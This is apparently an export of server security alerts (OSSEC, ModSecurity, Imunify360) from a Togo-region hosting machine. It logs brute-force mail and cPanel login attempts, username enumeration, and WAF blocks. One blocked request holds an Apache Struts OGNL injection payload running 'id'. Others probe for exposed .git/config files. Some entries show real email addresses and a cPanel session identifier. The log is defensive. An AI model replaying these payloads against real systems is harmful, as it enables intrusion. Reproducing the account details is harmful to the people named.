47.128.96.151 - - [15/Jun/2026:19:41:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182997&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faugustin-kossi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552490 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/augustin-kossi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.151


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.172
country_id: 1880251
description:
47.128.96.172 - - [15/Jun/2026:19:41:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013126&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finscription-a-luniversite-de-lome-ul%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552496 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inscription-a-luniversite-de-lome-ul/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.172


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:41:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:42:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868188&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552528 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.190
country_id: 1880251
description:
47.128.96.190 - - [15/Jun/2026:19:41:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803673&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552481 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.190


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:41:42 dovecot_login authenticator failed for H=(T8uOCk0WI0) [141.98.10.175]:60252: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:42:35 dovecot_login authenticator failed for H=(Yh9MJCF) [141.98.10.175]:55609: 535 Incorrect authentication data (set_id=adiel)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.185.189.167
country_id: 2921044
domain: mail.conseilnsaftogo.org
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/wp-content/.git/config||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [15/Jun/2026:19:42:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131351&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552557 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [15/Jun/2026:19:43:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10382277&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Finscription-a-luniversite-de-lome-ul%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552594 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/inscription-a-luniversite-de-lome-ul/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [15/Jun/2026:19:42:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937577&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmediatheque-de-linstitut-francais-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552544 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mediatheque-de-linstitut-francais-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:42:33 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:43:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.11.183
country_id: 241170
description:
31.134.11.183 - - [15/Jun/2026:19:43:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055064&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552631 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.11.183


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:43:33 dovecot_login authenticator failed for H=(946AFBTT) [141.98.10.175]:62655: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [15/Jun/2026:19:43:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10445205&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvehicules-blindes-de-roch-kabore-cribles-de-balles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552628 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vehicules-blindes-de-roch-kabore-cribles-de-balles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.141
country_id: 1880251
description:
47.128.96.141 - - [15/Jun/2026:19:44:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986457&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-augmentation-prix-produits-petroliers-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552694 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-augmentation-prix-produits-petroliers-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.141


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:44:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:44:31 dovecot_login authenticator failed for H=(UvehPpFxYL) [141.98.10.175]:50068: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [15/Jun/2026:19:44:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6397337&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fnouveaux-variants-de-coronavirus%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552675 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/nouveaux-variants-de-coronavirus/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:45:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:45:28 dovecot_login authenticator failed for H=(qzWah2fY8Y) [141.98.10.175]:64370: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [15/Jun/2026:19:45:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936540&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fconference-interafricaine-des-marches-dassurances-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552740 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/conference-interafricaine-des-marches-dassurances-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 77.83.27.224
country_id: 6252001
description:
77.83.27.224 - - [15/Jun/2026:19:45:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6382278&pdata=https%253A%252F%252Fcafe.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552758 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:77.83.27.224


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.35.67.103
country_id: 831053
description:
[2026-06-15 19:45:56 +0000] info [whostmgrd] 37.35.67.103 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:46:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:46:25 dovecot_login authenticator failed for H=(e1fBJBrX) [141.98.10.175]:51705: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:47:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:47:22 dovecot_login authenticator failed for H=(ngFa8Qwrg) [141.98.10.175]:52978: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:48:43 dovecot_login authenticator failed for H=(sSgViB2b) [141.98.10.175]:51598: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:48:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:49:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:49:30 dovecot_login authenticator failed for H=(yyaMuT4T5V) [141.98.10.175]:62422: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:50:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:50:27 dovecot_login authenticator failed for H=(97KM7PWR) [141.98.10.175]:60936: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.212.158.221
country_id: 1562822
description:
[2026-06-15 19:52:04 +0000] info [cpaneld] 125.212.158.221 - caissederetrait "GET /login/?login_only=1&user=caissederetrait&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrait (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.43.79.245
country_id: 2623032
description:
[2026-06-15 19:52:00 +0000] info [cpaneld] 92.43.79.245 - caissederetraite "GET /login/?login_only=1&user=caissederetraite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraite (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:51:39 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:51:41 dovecot_login authenticator failed for H=(pU18BJFp) [141.98.10.175]:54594: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.201.168
country_id: 1562822
description:
[2026-06-15 19:52:10 +0000] info [cpaneld] 171.225.201.168 - caissederetrai "GET /login/?login_only=1&user=caissederetrai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetrai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 153.51.224.42
country_id: 3625428
description:
[2026-06-15 19:52:15 +0000] info [cpaneld] 153.51.224.42 - caissederetr "GET /login/?login_only=1&user=caissederetr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 139.64.98.237
country_id: 102358
description:
[2026-06-15 19:51:51 +0000] info [cpaneld] 139.64.98.237 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.107.81.235
country_id: 290557
description:
[2026-06-15 19:52:19 +0000] info [cpaneld] 5.107.81.235 - caissederet "GET /login/?login_only=1&user=caissederet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederet (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 181.115.172.93
country_id: 3923057
description:
2026-06-15 19:51:25 H=([0.0.0.0]) [181.115.172.93]:57375 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.130.96.198
country_id: 1210997
description:
[2026-06-15 19:52:36 +0000] info [cpaneld] 114.130.96.198 - caisse "GET /login/?login_only=1&user=caisse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisse (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:52:40 dovecot_login authenticator failed for H=(MZMYRot) [141.98.10.175]:55076: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.224.153.135
country_id: 3658394
description:
[2026-06-15 19:52:47 +0000] info [cpaneld] 45.224.153.135 - cais "GET /login/?login_only=1&user=cais&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cais (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.190.15
country_id: 3658394
description:
[2026-06-15 19:52:53 +0000] info [cpaneld] 157.100.190.15 - cai "GET /login/?login_only=1&user=cai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cai (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:53:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.227.152.183
country_id: 3865483
description:
[2026-06-15 19:52:27 +0000] info [cpaneld] 45.227.152.183 - caisseder "GET /login/?login_only=1&user=caisseder&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caisseder (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:53:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 131.196.114.36
country_id: 3658394
description:
[2026-06-15 19:52:32 +0000] info [cpaneld] 131.196.114.36 - caissed "GET /login/?login_only=1&user=caissed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissed (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:52:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.51.30.128
country_id: 3865483
description:
[2026-06-15 19:52:41 +0000] info [cpaneld] 38.51.30.128 - caiss "GET /login/?login_only=1&user=caiss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caiss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.234.244.146
country_id: 3658394
description:
[2026-06-15 19:52:56 +0000] info [cpaneld] 177.234.244.146 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.127
country_id: 99237
description:
[2026-06-15 19:52:22 +0000] info [cpaneld] 185.24.61.127 - caissedere "GET /login/?login_only=1&user=caissedere&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissedere (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:53:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:53:32 dovecot_login authenticator failed for H=(8lSLNdowkL) [141.98.10.175]:53059: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:54:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:54:31 dovecot_login authenticator failed for H=(1T8sC4ZH) [141.98.10.175]:53112: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:55:23 dovecot_login authenticator failed for H=(jyxgO5X6Dj) [141.98.10.175]:65083: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-15 19:55:26 dovecot_plain authenticator failed for H=([192.168.1.71]) [102.64.164.199]:12094: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:55:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:56:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13267100&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781553402 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:56:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:56:21 dovecot_login authenticator failed for H=(fASIW7) [141.98.10.175]:50351: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:57:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 156.38.81.6
country_id: 2363686
description:
[2026-06-15 19:57:49 +0000] info [cpaneld] 156.38.81.6 NEW himcuijv:WuTtNjKvIiJ5kglL address=156.38.81.6,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:himcuijv:ALue68n8HcRu7BuJ:create_user_session,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:57:47 dovecot_login authenticator failed for H=(s7g9rmI72) [141.98.10.175]:50461: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:58:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.115.78.223
country_id: 6252001
description:
2026-06-15 19:58:33 dovecot_plain authenticator failed for H=c-73-115-78-223.hsd1.tx.comcast.net (vikgkrto9v32q3xmzlfaz5t) [73.115.78.223]:53968: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:58:47 dovecot_login authenticator failed for H=(zyD5qpHbL) [141.98.10.175]:50713: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:59:44 dovecot_login authenticator failed for H=(cATaUi0nio) [141.98.10.175]:51093: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:59:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77350923
name: IM360 WAF: Apache Struts OGNL injection
abuser: 45.3.44.36
country_id: 2510769
domain: webdisk.marketplace.netmaster.tg
description:
IM360 WAF: Apache Struts OGNL injection||MV:/?debug=1&error=${T(java.lang.Runtime).getRuntime().exec('id')}&input=${T(java.lang.Runtime).getRuntime().exec('id')}||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.7.7.190
country_id: 2750405
domain: ftp.cloud-and-racks.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/backend/.git/config||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
